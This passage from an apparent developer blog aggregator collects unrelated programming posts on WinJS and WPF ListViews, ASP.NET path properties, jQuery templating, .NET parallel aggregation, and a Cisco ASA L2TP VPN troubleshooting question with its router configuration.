data-win-bind="innerText:price"></span> </div> </div> <div data-win-control="WinJS.UI.ListView" data-win-options="{ itemDataSource:ListViewDemos.products.dataSource, itemTemplate:select('#productTemplate') }"> </div> </body> </html> Notice that the page above includes a reference to the products.js file: <script src=”/js/products.js” type=”text/javascript”></script> The page above also contains a Template control which contains the ListView item template. Finally, the page includes the declaration of the ListView control. Summary The goal of this blog entry was to describe the minimal set of steps which you must complete to use the WinJS ListView control to display a simple list of items. You learned how to create a data source, declare an item template, and declare a ListView control.

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• Making Sense of ASP.NET Paths

  - by Rick Strahl

  ASP.Net includes quite a plethora of properties to retrieve path information about the current request, control and application. There's a ton of information available about paths on the Request object, some of it appearing to overlap and some of it buried several levels down, and it can be confusing to find just the right path that you are looking for. To keep things straight I thought it a good idea to summarize the path options along with descriptions and example paths. I wrote a post about this a long time ago in 2004 and I find myself frequently going back to that page to quickly figure out which path I’m looking for in processing the current URL. Apparently a lot of people must be doing the same, because the original post is the second most visited even to this date on this blog to the tune of nearly 500 hits per day. So, I decided to update and expand a bit on the original post with a little more information and clarification based on the original comments. Request Object Paths Available Here's a list of the Path related properties on the Request object (and the Page object). Assume a path like http://www.west-wind.com/webstore/admin/paths.aspx for the paths below where webstore is the name of the virtual. .blackborder td { border-bottom: solid 1px silver; border-left: solid 1px silver; } Request Property Description and Value ApplicationPath Returns the web root-relative logical path to the virtual root of this app. /webstore/ PhysicalApplicationPath Returns local file system path of the virtual root for this app. c:\inetpub\wwwroot\webstore PhysicalPath Returns the local file system path to the current script or path. c:\inetpub\wwwroot\webstore\admin\paths.aspx Path FilePath CurrentExecutionFilePath All of these return the full root relative logical path to the script page including path and scriptname. CurrentExcecutionFilePath will return the ‘current’ request path after a Transfer/Execute call while FilePath will always return the original request’s path. /webstore/admin/paths.aspx AppRelativeCurrentExecutionFilePath Returns an ASP.NET root relative virtual path to the script or path for the current request. If in  a Transfer/Execute call the transferred Path is returned. ~/admin/paths.aspx PathInfo Returns any extra path following the script name. If no extra path is provided returns the root-relative path (returns text in red below). string.Empty if no PathInfo is available. /webstore/admin/paths.aspx/ExtraPathInfo RawUrl Returns the full root relative URL including querystring and extra path as a string. /webstore/admin/paths.aspx?sku=wwhelp40 Url Returns a fully qualified URL including querystring and extra path. Note this is a Uri instance rather than string. http://www.west-wind.com/webstore/admin/paths.aspx?sku=wwhelp40 UrlReferrer The fully qualified URL of the page that sent the request. This is also a Uri instance and this value is null if the page was directly accessed by typing into the address bar or using an HttpClient based Referrer client Http header. http://www.west-wind.com/webstore/default.aspx?Info Control.TemplateSourceDirectory Returns the logical path to the folder of the page, master or user control on which it is called. This is useful if you need to know the path only to a Page or control from within the control. For non-file controls this returns the Page path. /webstore/admin/ As you can see there’s a ton of information available there for each of the three common path formats: Physical Path is an OS type path that points to a path or file on disk. Logical Path is a Web path that is relative to the Web server’s root. It includes the virtual plus the application relative path. ~/ (Root-relative) Path is an ASP.NET specific path that includes ~/ to indicate the virtual root Web path. ASP.NET can convert virtual paths into either logical paths using Control.ResolveUrl(), or physical paths using Server.MapPath(). Root relative paths are useful for specifying portable URLs that don’t rely on relative directory structures and very useful from within control or component code. You should be able to get any necessary format from ASP.NET from just about any path or script using these mechanisms. ~/ Root Relative Paths and ResolveUrl() and ResolveClientUrl() ASP.NET supports root-relative virtual path syntax in most of its URL properties in Web Forms. So you can easily specify a root relative path in a control rather than a location relative path: <asp:Image runat="server" ID="imgHelp" ImageUrl="~/images/help.gif" /> ASP.NET internally resolves this URL by using ResolveUrl("~/images/help.gif") to arrive at the root-relative URL of /webstore/images/help.gif which uses the Request.ApplicationPath as the basepath to replace the ~. By convention any custom Web controls also should use ResolveUrl() on URL properties to provide the same functionality. In your own code you can use Page.ResolveUrl() or Control.ResolveUrl() to accomplish the same thing: string imgPath = this.ResolveUrl("~/images/help.gif"); imgHelp.ImageUrl = imgPath; Unfortunately ResolveUrl() is limited to WebForm pages, so if you’re in an HttpHandler or Module it’s not available. ASP.NET Mvc also has it’s own more generic version of ResolveUrl in Url.Decode: <script src="<%= Url.Content("~/scripts/new.js") %>" type="text/javascript"></script> which is part of the UrlHelper class. In ASP.NET MVC the above sort of syntax is actually even more crucial than in WebForms due to the fact that views are not referencing specific pages but rather are often path based which can lead to various variations on how a particular view is referenced. In a Module or Handler code Control.ResolveUrl() unfortunately is not available which in retrospect seems like an odd design choice – URL resolution really should happen on a Request basis not as part of the Page framework. Luckily you can also rely on the static VirtualPathUtility class: string path = VirtualPathUtility.ToAbsolute("~/admin/paths.aspx"); VirtualPathUtility also many other quite useful methods for dealing with paths and converting between the various kinds of paths supported. One thing to watch out for is that ToAbsolute() will throw an exception if a query string is provided and doesn’t work on fully qualified URLs. I wrote about this topic with a custom solution that works fully qualified URLs and query strings here (check comments for some interesting discussions too). Similar to ResolveUrl() is ResolveClientUrl() which creates a fully qualified HTTP path that includes the protocol and domain name. It’s rare that this full resolution is needed but can be useful in some scenarios. Mapping Virtual Paths to Physical Paths with Server.MapPath() If you need to map root relative or current folder relative URLs to physical URLs or you can use HttpContext.Current.Server.MapPath(). Inside of a Page you can do the following: string physicalPath = Server.MapPath("~/scripts/ww.jquery.js")); MapPath is pretty flexible and it understands both ASP.NET style virtual paths as well as plain relative paths, so the following also works. string physicalPath = Server.MapPath("scripts/silverlight.js"); as well as dot relative syntax: string physicalPath = Server.MapPath("../scripts/jquery.js"); Once you have the physical path you can perform standard System.IO Path and File operations on the file. Remember with physical paths and IO or copy operations you need to make sure you have permissions to access files and folders based on the Web server user account that is active (NETWORK SERVICE, ASPNET typically). Note the Server.MapPath will not map up beyond the virtual root of the application for security reasons. Server and Host Information Between these settings you can get all the information you may need to figure out where you are at and to build new Url if necessary. If you need to build a URL completely from scratch you can get access to information about the server you are accessing: Server Variable Function and Example SERVER_NAME The of the domain or IP Address wwww.west-wind.com or 127.0.0.1 SERVER_PORT The port that the request runs under. 80 SERVER_PORT_SECURE Determines whether https: was used. 0 or 1 APPL_MD_PATH ADSI DirectoryServices path to the virtual root directory. Note that LM typically doesn’t work for ADSI access so you should replace that with LOCALHOST or the machine’s NetBios name. /LM/W3SVC/1/ROOT/webstore Request.Url and Uri Parsing If you still need more control over the current request URL or  you need to create new URLs from an existing one, the current Request.Url Uri property offers a lot of control. Using the Uri class and UriBuilder makes it easy to retrieve parts of a URL and create new URLs based on existing URL. The UriBuilder class is the preferred way to create URLs – much preferable over creating URIs via string concatenation. Uri Property Function Scheme The URL scheme or protocol prefix. http or https Port The port if specifically specified. DnsSafeHost The domain name or local host NetBios machine name www.west-wind.com or rasnote LocalPath The full path of the URL including script name and extra PathInfo. /webstore/admin/paths.aspx Query The query string if any ?id=1 The Uri class itself is great for retrieving Uri parts, but most of the properties are read only if you need to modify a URL in order to change it you can use the UriBuilder class to load up an existing URL and modify it to create a new one. Here are a few common operations I’ve needed to do to get specific URLs: Convert the Request URL to an SSL/HTTPS link For example to take the current request URL and converted  it to a secure URL can be done like this: UriBuilder build = new UriBuilder(Request.Url); build.Scheme = "https"; build.Port = -1; // don't inject port Uri newUri = build.Uri; string newUrl = build.ToString(); Retrieve the fully qualified URL without a QueryString AFAIK, there’s no native routine to retrieve the current request URL without the query string. It’s easy to do with UriBuilder however: UriBuilder builder = newUriBuilder(Request.Url); builder.Query = ""; stringlogicalPathWithoutQuery = builder.ToString(); What else? I took a look through the old post’s comments and addressed as many of the questions and comments that came up in there. With a few small and silly exceptions this update post handles most of these. But I’m sure there are a more things that go in here. What else would be useful to put onto this post so it serves as a nice all in one place to go for path references? If you think of something leave a comment and I’ll try to update the post with it in the future.© Rick Strahl, West Wind Technologies, 2005-2010Posted in ASP.NET  

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• Cisco ASA 5505 - L2TP over IPsec

  - by xraminx

  I have followed this document on cisco site to set up the L2TP over IPsec connection. When I try to establish a VPN to ASA 5505 from my Windows XP, after I click on "connect" button, the "Connecting ...." dialog box appears and after a while I get this error message: Error 800: Unable to establish VPN connection. The VPN server may be unreachable, or security parameters may not be configured properly for this connection. ASA version 7.2(4) ASDM version 5.2(4) Windows XP SP3 Windows XP and ASA 5505 are on the same LAN for test purposes. Edit 1: There are two VLANs defined on the cisco device (the standard setup on cisco ASA5505). - port 0 is on VLAN2, outside; - and ports 1 to 7 on VLAN1, inside. I run a cable from my linksys home router (10.50.10.1) to the cisco ASA5505 router on port 0 (outside). Port 0 have IP 192.168.1.1 used internally by cisco and I have also assigned the external IP 10.50.10.206 to port 0 (outside). I run a cable from Windows XP to Cisco router on port 1 (inside). Port 1 is assigned an IP from Cisco router 192.168.1.2. The Windows XP is also connected to my linksys home router via wireless (10.50.10.141). Edit 2: When I try to establish vpn, the Cisco device real time Log viewer shows 7 entries like this: Severity:5 Date:Sep 15 2009 Time: 14:51:29 SyslogID: 713904 Destination IP = 10.50.10.141, Decription: No crypto map bound to interface... dropping pkt Edit 3: This is the setup on the router right now. Result of the command: "show run" : Saved : ASA Version 7.2(4) ! hostname ciscoasa domain-name default.domain.invalid enable password HGFHGFGHFHGHGFHGF encrypted passwd NMMNMNMNMNMNMN encrypted names name 192.168.1.200 WebServer1 name 10.50.10.206 external-ip-address ! interface Vlan1 nameif inside security-level 100 ip address 192.168.1.1 255.255.255.0 ! interface Vlan2 nameif outside security-level 0 ip address external-ip-address 255.0.0.0 ! interface Vlan3 no nameif security-level 50 no ip address ! interface Ethernet0/0 switchport access vlan 2 ! interface Ethernet0/1 ! interface Ethernet0/2 ! interface Ethernet0/3 ! interface Ethernet0/4 ! interface Ethernet0/5 ! interface Ethernet0/6 ! interface Ethernet0/7 ! ftp mode passive dns server-group DefaultDNS domain-name default.domain.invalid object-group service l2tp udp port-object eq 1701 access-list outside_access_in remark Allow incoming tcp/http access-list outside_access_in extended permit tcp any host WebServer1 eq www access-list outside_access_in extended permit udp any any eq 1701 access-list inside_nat0_outbound extended permit ip any 192.168.1.208 255.255.255.240 access-list inside_cryptomap_1 extended permit ip interface outside interface inside pager lines 24 logging enable logging asdm informational mtu inside 1500 mtu outside 1500 ip local pool PPTP-VPN 192.168.1.210-192.168.1.220 mask 255.255.255.0 icmp unreachable rate-limit 1 burst-size 1 asdm image disk0:/asdm-524.bin no asdm history enable arp timeout 14400 global (outside) 1 interface nat (inside) 0 access-list inside_nat0_outbound nat (inside) 1 0.0.0.0 0.0.0.0 static (inside,outside) tcp interface www WebServer1 www netmask 255.255.255.255 access-group outside_access_in in interface outside timeout xlate 3:00:00 timeout conn 1:00:00 half-closed 0:10:00 udp 0:02:00 icmp 0:00:02 timeout sunrpc 0:10:00 h323 0:05:00 h225 1:00:00 mgcp 0:05:00 mgcp-pat 0:05:00 timeout sip 0:30:00 sip_media 0:02:00 sip-invite 0:03:00 sip-disconnect 0:02:00 timeout sip-provisional-media 0:02:00 uauth 0:05:00 absolute http server enable http 192.168.1.0 255.255.255.0 inside no snmp-server location no snmp-server contact snmp-server enable traps snmp authentication linkup linkdown coldstart crypto ipsec transform-set TRANS_ESP_3DES_SHA esp-3des esp-sha-hmac crypto ipsec transform-set TRANS_ESP_3DES_SHA mode transport crypto ipsec transform-set TRANS_ESP_3DES_MD5 esp-3des esp-md5-hmac crypto ipsec transform-set TRANS_ESP_3DES_MD5 mode transport crypto map outside_map 1 match address inside_cryptomap_1 crypto map outside_map 1 set transform-set TRANS_ESP_3DES_MD5 crypto map outside_map interface inside crypto isakmp enable outside crypto isakmp policy 10 authentication pre-share encryption 3des hash md5 group 2 lifetime 86400 telnet timeout 5 ssh timeout 5 console timeout 0 dhcpd auto_config outside ! dhcpd address 192.168.1.2-192.168.1.33 inside dhcpd enable inside ! group-policy DefaultRAGroup internal group-policy DefaultRAGroup attributes dns-server value 192.168.1.1 vpn-tunnel-protocol IPSec l2tp-ipsec username myusername password FGHFGHFHGFHGFGFHF nt-encrypted tunnel-group DefaultRAGroup general-attributes address-pool PPTP-VPN default-group-policy DefaultRAGroup tunnel-group DefaultRAGroup ipsec-attributes pre-shared-key * tunnel-group DefaultRAGroup ppp-attributes no authentication chap authentication ms-chap-v2 ! ! prompt hostname context Cryptochecksum:a9331e84064f27e6220a8667bf5076c1 : end

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• Using a WPF ListView as a DataGrid

  - by psheriff

  Many people like to view data in a grid format of rows and columns. WPF did not come with a data grid control that automatically creates rows and columns for you based on the object you pass it. However, the WPF Toolkit can be downloaded from CodePlex.com that does contain a DataGrid control. This DataGrid gives you the ability to pass it a DataTable or a Collection class and it will automatically figure out the columns or properties and create all the columns for you and display the data.The DataGrid control also supports editing and many other features that you might not always need. This means that the DataGrid does take a little more time to render the data. If you want to just display data (see Figure 1) in a grid format, then a ListView works quite well for this task. Of course, you will need to create the columns for the ListView, but with just a little generic code, you can create the columns on the fly just like the WPF Toolkit’s DataGrid. Figure 1: A List of Data using a ListView A Simple ListView ControlThe XAML below is what you would use to create the ListView shown in Figure 1. However, the problem with using XAML is you have to pre-define the columns. You cannot re-use this ListView except for “Product” data. <ListView x:Name="lstData"          ItemsSource="{Binding}">  <ListView.View>    <GridView>      <GridViewColumn Header="Product ID"                      Width="Auto"               DisplayMemberBinding="{Binding Path=ProductId}" />      <GridViewColumn Header="Product Name"                      Width="Auto"               DisplayMemberBinding="{Binding Path=ProductName}" />      <GridViewColumn Header="Price"                      Width="Auto"               DisplayMemberBinding="{Binding Path=Price}" />    </GridView>  </ListView.View></ListView> So, instead of creating the GridViewColumn’s in XAML, let’s learn to create them in code to create any amount of columns in a ListView. Create GridViewColumn’s From Data TableTo display multiple columns in a ListView control you need to set its View property to a GridView collection object. You add GridViewColumn objects to the GridView collection and assign the GridView to the View property. Each GridViewColumn object needs to be bound to a column or property name of the object that the ListView will be bound to. An ADO.NET DataTable object contains a collection of columns, and these columns have a ColumnName property which you use to bind to the GridViewColumn objects. Listing 1 shows a sample of reading and XML file into a DataSet object. After reading the data a GridView object is created. You can then loop through the DataTable columns collection and create a GridViewColumn object for each column in the DataTable. Notice the DisplayMemberBinding property is set to a new Binding to the ColumnName in the DataTable. C#private void FirstSample(){  // Read the data  DataSet ds = new DataSet();  ds.ReadXml(GetCurrentDirectory() + @"\Xml\Product.xml");    // Create the GridView  GridView gv = new GridView();   // Create the GridView Columns  foreach (DataColumn item in ds.Tables[0].Columns)  {    GridViewColumn gvc = new GridViewColumn();    gvc.DisplayMemberBinding = new Binding(item.ColumnName);    gvc.Header = item.ColumnName;    gvc.Width = Double.NaN;    gv.Columns.Add(gvc);  }   // Setup the GridView Columns  lstData.View = gv;  // Display the Data  lstData.DataContext = ds.Tables[0];} VB.NETPrivate Sub FirstSample()  ' Read the data  Dim ds As New DataSet()  ds.ReadXml(GetCurrentDirectory() & "\Xml\Product.xml")   ' Create the GridView  Dim gv As New GridView()   ' Create the GridView Columns  For Each item As DataColumn In ds.Tables(0).Columns    Dim gvc As New GridViewColumn()    gvc.DisplayMemberBinding = New Binding(item.ColumnName)    gvc.Header = item.ColumnName    gvc.Width = [Double].NaN    gv.Columns.Add(gvc)  Next   ' Setup the GridView Columns  lstData.View = gv  ' Display the Data  lstData.DataContext = ds.Tables(0)End SubListing 1: Loop through the DataTable columns collection to create GridViewColumn objects A Generic Method for Creating a GridViewInstead of having to write the code shown in Listing 1 for each ListView you wish to create, you can create a generic method that given any DataTable will return a GridView column collection. Listing 2 shows how you can simplify the code in Listing 1 by setting up a class called WPFListViewCommon and create a method called CreateGridViewColumns that returns your GridView. C#private void DataTableSample(){  // Read the data  DataSet ds = new DataSet();  ds.ReadXml(GetCurrentDirectory() + @"\Xml\Product.xml");   // Setup the GridView Columns  lstData.View =      WPFListViewCommon.CreateGridViewColumns(ds.Tables[0]);  lstData.DataContext = ds.Tables[0];} VB.NETPrivate Sub DataTableSample()  ' Read the data  Dim ds As New DataSet()  ds.ReadXml(GetCurrentDirectory() & "\Xml\Product.xml")   ' Setup the GridView Columns  lstData.View = _      WPFListViewCommon.CreateGridViewColumns(ds.Tables(0))  lstData.DataContext = ds.Tables(0)End SubListing 2: Call a generic method to create GridViewColumns. The CreateGridViewColumns MethodThe CreateGridViewColumns method will take a DataTable as a parameter and create a GridView object with a GridViewColumn object in its collection for each column in your DataTable. C#public static GridView CreateGridViewColumns(DataTable dt){  // Create the GridView  GridView gv = new GridView();  gv.AllowsColumnReorder = true;   // Create the GridView Columns  foreach (DataColumn item in dt.Columns)  {    GridViewColumn gvc = new GridViewColumn();    gvc.DisplayMemberBinding = new Binding(item.ColumnName);    gvc.Header = item.ColumnName;    gvc.Width = Double.NaN;    gv.Columns.Add(gvc);  }   return gv;} VB.NETPublic Shared Function CreateGridViewColumns _  (ByVal dt As DataTable) As GridView  ' Create the GridView  Dim gv As New GridView()  gv.AllowsColumnReorder = True   ' Create the GridView Columns  For Each item As DataColumn In dt.Columns    Dim gvc As New GridViewColumn()    gvc.DisplayMemberBinding = New Binding(item.ColumnName)    gvc.Header = item.ColumnName    gvc.Width = [Double].NaN    gv.Columns.Add(gvc)  Next   Return gvEnd FunctionListing 3: The CreateGridViewColumns method takes a DataTable and creates GridViewColumn objects in a GridView. By separating this method out into a class you can call this method anytime you want to create a ListView with a collection of columns from a DataTable. SummaryIn this blog you learned how to create a ListView that acts like a DataGrid. You are able to use a DataTable as both the source of the data, and for creating the columns for the ListView. In the next blog entry you will learn how to use the same technique, but for Collection classes. NOTE: You can download the complete sample code (in both VB and C#) at my website. http://www.pdsa.com/downloads. Choose Tips & Tricks, then "WPF ListView as a DataGrid" from the drop-down. Good Luck with your Coding,Paul Sheriff ** SPECIAL OFFER FOR MY BLOG READERS **Visit http://www.pdsa.com/Event/Blog for a free eBook on "Fundamentals of N-Tier".

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• jQuery Templates and Data Linking (and Microsoft contributing to jQuery)

  - by ScottGu

  The jQuery library has a passionate community of developers, and it is now the most widely used JavaScript library on the web today. Two years ago I announced that Microsoft would begin offering product support for jQuery, and that we’d be including it in new versions of Visual Studio going forward. By default, when you create new ASP.NET Web Forms and ASP.NET MVC projects with VS 2010 you’ll find jQuery automatically added to your project. A few weeks ago during my second keynote at the MIX 2010 conference I announced that Microsoft would also begin contributing to the jQuery project.  During the talk, John Resig -- the creator of the jQuery library and leader of the jQuery developer team – talked a little about our participation and discussed an early prototype of a new client templating API for jQuery. In this blog post, I’m going to talk a little about how my team is starting to contribute to the jQuery project, and discuss some of the specific features that we are working on such as client-side templating and data linking (data-binding). Contributing to jQuery jQuery has a fantastic developer community, and a very open way to propose suggestions and make contributions.  Microsoft is following the same process to contribute to jQuery as any other member of the community. As an example, when working with the jQuery community to improve support for templating to jQuery my team followed the following steps: We created a proposal for templating and posted the proposal to the jQuery developer forum (http://forum.jquery.com/topic/jquery-templates-proposal and http://forum.jquery.com/topic/templating-syntax ). After receiving feedback on the forums, the jQuery team created a prototype for templating and posted the prototype at the Github code repository (http://github.com/jquery/jquery-tmpl ). We iterated on the prototype, creating a new fork on Github of the templating prototype, to suggest design improvements. Several other members of the community also provided design feedback by forking the templating code. There has been an amazing amount of participation by the jQuery community in response to the original templating proposal (over 100 posts in the jQuery forum), and the design of the templating proposal has evolved significantly based on community feedback. The jQuery team is the ultimate determiner on what happens with the templating proposal – they might include it in jQuery core, or make it an official plugin, or reject it entirely.  My team is excited to be able to participate in the open source process, and make suggestions and contributions the same way as any other member of the community. jQuery Template Support Client-side templates enable jQuery developers to easily generate and render HTML UI on the client.  Templates support a simple syntax that enables either developers or designers to declaratively specify the HTML they want to generate.  Developers can then programmatically invoke the templates on the client, and pass JavaScript objects to them to make the content rendered completely data driven.  These JavaScript objects can optionally be based on data retrieved from a server. Because the jQuery templating proposal is still evolving in response to community feedback, the final version might look very different than the version below. This blog post gives you a sense of how you can try out and use templating as it exists today (you can download the prototype by the jQuery core team at http://github.com/jquery/jquery-tmpl or the latest submission from my team at http://github.com/nje/jquery-tmpl).  jQuery Client Templates You create client-side jQuery templates by embedding content within a <script type="text/html"> tag.  For example, the HTML below contains a <div> template container, as well as a client-side jQuery “contactTemplate” template (within the <script type="text/html"> element) that can be used to dynamically display a list of contacts: The {{= name }} and {{= phone }} expressions are used within the contact template above to display the names and phone numbers of “contact” objects passed to the template. We can use the template to display either an array of JavaScript objects or a single object. The JavaScript code below demonstrates how you can render a JavaScript array of “contact” object using the above template. The render() method renders the data into a string and appends the string to the “contactContainer” DIV element: When the page is loaded, the list of contacts is rendered by the template.  All of this template rendering is happening on the client-side within the browser:   Templating Commands and Conditional Display Logic The current templating proposal supports a small set of template commands - including if, else, and each statements. The number of template commands was deliberately kept small to encourage people to place more complicated logic outside of their templates. Even this small set of template commands is very useful though. Imagine, for example, that each contact can have zero or more phone numbers. The contacts could be represented by the JavaScript array below: The template below demonstrates how you can use the if and each template commands to conditionally display and loop the phone numbers for each contact: If a contact has one or more phone numbers then each of the phone numbers is displayed by iterating through the phone numbers with the each template command: The jQuery team designed the template commands so that they are extensible. If you have a need for a new template command then you can easily add new template commands to the default set of commands. Support for Client Data-Linking The ASP.NET team recently submitted another proposal and prototype to the jQuery forums (http://forum.jquery.com/topic/proposal-for-adding-data-linking-to-jquery). This proposal describes a new feature named data linking. Data Linking enables you to link a property of one object to a property of another object - so that when one property changes the other property changes.  Data linking enables you to easily keep your UI and data objects synchronized within a page. If you are familiar with the concept of data-binding then you will be familiar with data linking (in the proposal, we call the feature data linking because jQuery already includes a bind() method that has nothing to do with data-binding). Imagine, for example, that you have a page with the following HTML <input> elements: The following JavaScript code links the two INPUT elements above to the properties of a JavaScript “contact” object that has a “name” and “phone” property: When you execute this code, the value of the first INPUT element (#name) is set to the value of the contact name property, and the value of the second INPUT element (#phone) is set to the value of the contact phone property. The properties of the contact object and the properties of the INPUT elements are also linked – so that changes to one are also reflected in the other. Because the contact object is linked to the INPUT element, when you request the page, the values of the contact properties are displayed: More interesting, the values of the linked INPUT elements will change automatically whenever you update the properties of the contact object they are linked to. For example, we could programmatically modify the properties of the “contact” object using the jQuery attr() method like below: Because our two INPUT elements are linked to the “contact” object, the INPUT element values will be updated automatically (without us having to write any code to modify the UI elements): Note that we updated the contact object above using the jQuery attr() method. In order for data linking to work, you must use jQuery methods to modify the property values. Two Way Linking The linkBoth() method enables two-way data linking. The contact object and INPUT elements are linked in both directions. When you modify the value of the INPUT element, the contact object is also updated automatically. For example, the following code adds a client-side JavaScript click handler to an HTML button element. When you click the button, the property values of the contact object are displayed using an alert() dialog: The following demonstrates what happens when you change the value of the Name INPUT element and click the Save button. Notice that the name property of the “contact” object that the INPUT element was linked to was updated automatically: The above example is obviously trivially simple.  Instead of displaying the new values of the contact object with a JavaScript alert, you can imagine instead calling a web-service to save the object to a database. The benefit of data linking is that it enables you to focus on your data and frees you from the mechanics of keeping your UI and data in sync. Converters The current data linking proposal also supports a feature called converters. A converter enables you to easily convert the value of a property during data linking. For example, imagine that you want to represent phone numbers in a standard way with the “contact” object phone property. In particular, you don’t want to include special characters such as ()- in the phone number - instead you only want digits and nothing else. In that case, you can wire-up a converter to convert the value of an INPUT element into this format using the code below: Notice above how a converter function is being passed to the linkFrom() method used to link the phone property of the “contact” object with the value of the phone INPUT element. This convertor function strips any non-numeric characters from the INPUT element before updating the phone property.  Now, if you enter the phone number (206) 555-9999 into the phone input field then the value 2065559999 is assigned to the phone property of the contact object: You can also use a converter in the opposite direction also. For example, you can apply a standard phone format string when displaying a phone number from a phone property. Combining Templating and Data Linking Our goal in submitting these two proposals for templating and data linking is to make it easier to work with data when building websites and applications with jQuery. Templating makes it easier to display a list of database records retrieved from a database through an Ajax call. Data linking makes it easier to keep the data and user interface in sync for update scenarios. Currently, we are working on an extension of the data linking proposal to support declarative data linking. We want to make it easy to take advantage of data linking when using a template to display data. For example, imagine that you are using the following template to display an array of product objects: Notice the {{link name}} and {{link price}} expressions. These expressions enable declarative data linking between the SPAN elements and properties of the product objects. The current jQuery templating prototype supports extending its syntax with custom template commands. In this case, we are extending the default templating syntax with a custom template command named “link”. The benefit of using data linking with the above template is that the SPAN elements will be automatically updated whenever the underlying “product” data is updated.  Declarative data linking also makes it easier to create edit and insert forms. For example, you could create a form for editing a product by using declarative data linking like this: Whenever you change the value of the INPUT elements in a template that uses declarative data linking, the underlying JavaScript data object is automatically updated. Instead of needing to write code to scrape the HTML form to get updated values, you can instead work with the underlying data directly – making your client-side code much cleaner and simpler. Downloading Working Code Examples of the Above Scenarios You can download this .zip file to get with working code examples of the above scenarios.  The .zip file includes 4 static HTML page: Listing1_Templating.htm – Illustrates basic templating. Listing2_TemplatingConditionals.htm – Illustrates templating with the use of the if and each template commands. Listing3_DataLinking.htm – Illustrates data linking. Listing4_Converters.htm – Illustrates using a converter with data linking. You can un-zip the file to the file-system and then run each page to see the concepts in action. Summary We are excited to be able to begin participating within the open-source jQuery project.  We’ve received lots of encouraging feedback in response to our first two proposals, and we will continue to actively contribute going forward.  These features will hopefully make it easier for all developers (including ASP.NET developers) to build great Ajax applications. Hope this helps, Scott P.S. [In addition to blogging, I am also now using Twitter for quick updates and to share links. Follow me at: twitter.com/scottgu]

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• Parallelism in .NET – Part 4, Imperative Data Parallelism: Aggregation

  - by Reed

  In the article on simple data parallelism, I described how to perform an operation on an entire collection of elements in parallel.  Often, this is not adequate, as the parallel operation is going to be performing some form of aggregation. Simple examples of this might include taking the sum of the results of processing a function on each element in the collection, or finding the minimum of the collection given some criteria.  This can be done using the techniques described in simple data parallelism, however, special care needs to be taken into account to synchronize the shared data appropriately.  The Task Parallel Library has tools to assist in this synchronization. The main issue with aggregation when parallelizing a routine is that you need to handle synchronization of data.  Since multiple threads will need to write to a shared portion of data.  Suppose, for example, that we wanted to parallelize a simple loop that looked for the minimum value within a dataset: double min = double.MaxValue; foreach(var item in collection) { double value = item.PerformComputation(); min = System.Math.Min(min, value); } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } This seems like a good candidate for parallelization, but there is a problem here.  If we just wrap this into a call to Parallel.ForEach, we’ll introduce a critical race condition, and get the wrong answer.  Let’s look at what happens here: // Buggy code! Do not use! double min = double.MaxValue; Parallel.ForEach(collection, item => { double value = item.PerformComputation(); min = System.Math.Min(min, value); }); This code has a fatal flaw: min will be checked, then set, by multiple threads simultaneously.  Two threads may perform the check at the same time, and set the wrong value for min.  Say we get a value of 1 in thread 1, and a value of 2 in thread 2, and these two elements are the first two to run.  If both hit the min check line at the same time, both will determine that min should change, to 1 and 2 respectively.  If element 1 happens to set the variable first, then element 2 sets the min variable, we’ll detect a min value of 2 instead of 1.  This can lead to wrong answers. Unfortunately, fixing this, with the Parallel.ForEach call we’re using, would require adding locking.  We would need to rewrite this like: // Safe, but slow double min = double.MaxValue; // Make a "lock" object object syncObject = new object(); Parallel.ForEach(collection, item => { double value = item.PerformComputation(); lock(syncObject) min = System.Math.Min(min, value); }); This will potentially add a huge amount of overhead to our calculation.  Since we can potentially block while waiting on the lock for every single iteration, we will most likely slow this down to where it is actually quite a bit slower than our serial implementation.  The problem is the lock statement – any time you use lock(object), you’re almost assuring reduced performance in a parallel situation.  This leads to two observations I’ll make: When parallelizing a routine, try to avoid locks. That being said: Always add any and all required synchronization to avoid race conditions. These two observations tend to be opposing forces – we often need to synchronize our algorithms, but we also want to avoid the synchronization when possible.  Looking at our routine, there is no way to directly avoid this lock, since each element is potentially being run on a separate thread, and this lock is necessary in order for our routine to function correctly every time. However, this isn’t the only way to design this routine to implement this algorithm.  Realize that, although our collection may have thousands or even millions of elements, we have a limited number of Processing Elements (PE).  Processing Element is the standard term for a hardware element which can process and execute instructions.  This typically is a core in your processor, but many modern systems have multiple hardware execution threads per core.  The Task Parallel Library will not execute the work for each item in the collection as a separate work item. Instead, when Parallel.ForEach executes, it will partition the collection into larger “chunks” which get processed on different threads via the ThreadPool.  This helps reduce the threading overhead, and help the overall speed.  In general, the Parallel class will only use one thread per PE in the system. Given the fact that there are typically fewer threads than work items, we can rethink our algorithm design.  We can parallelize our algorithm more effectively by approaching it differently.  Because the basic aggregation we are doing here (Min) is communitive, we do not need to perform this in a given order.  We knew this to be true already – otherwise, we wouldn’t have been able to parallelize this routine in the first place.  With this in mind, we can treat each thread’s work independently, allowing each thread to serially process many elements with no locking, then, after all the threads are complete, “merge” together the results. This can be accomplished via a different set of overloads in the Parallel class: Parallel.ForEach<TSource,TLocal>.  The idea behind these overloads is to allow each thread to begin by initializing some local state (TLocal).  The thread will then process an entire set of items in the source collection, providing that state to the delegate which processes an individual item.  Finally, at the end, a separate delegate is run which allows you to handle merging that local state into your final results. To rewriting our routine using Parallel.ForEach<TSource,TLocal>, we need to provide three delegates instead of one.  The most basic version of this function is declared as: public static ParallelLoopResult ForEach<TSource, TLocal>( IEnumerable<TSource> source, Func<TLocal> localInit, Func<TSource, ParallelLoopState, TLocal, TLocal> body, Action<TLocal> localFinally ) The first delegate (the localInit argument) is defined as Func<TLocal>.  This delegate initializes our local state.  It should return some object we can use to track the results of a single thread’s operations. The second delegate (the body argument) is where our main processing occurs, although now, instead of being an Action<T>, we actually provide a Func<TSource, ParallelLoopState, TLocal, TLocal> delegate.  This delegate will receive three arguments: our original element from the collection (TSource), a ParallelLoopState which we can use for early termination, and the instance of our local state we created (TLocal).  It should do whatever processing you wish to occur per element, then return the value of the local state after processing is completed. The third delegate (the localFinally argument) is defined as Action<TLocal>.  This delegate is passed our local state after it’s been processed by all of the elements this thread will handle.  This is where you can merge your final results together.  This 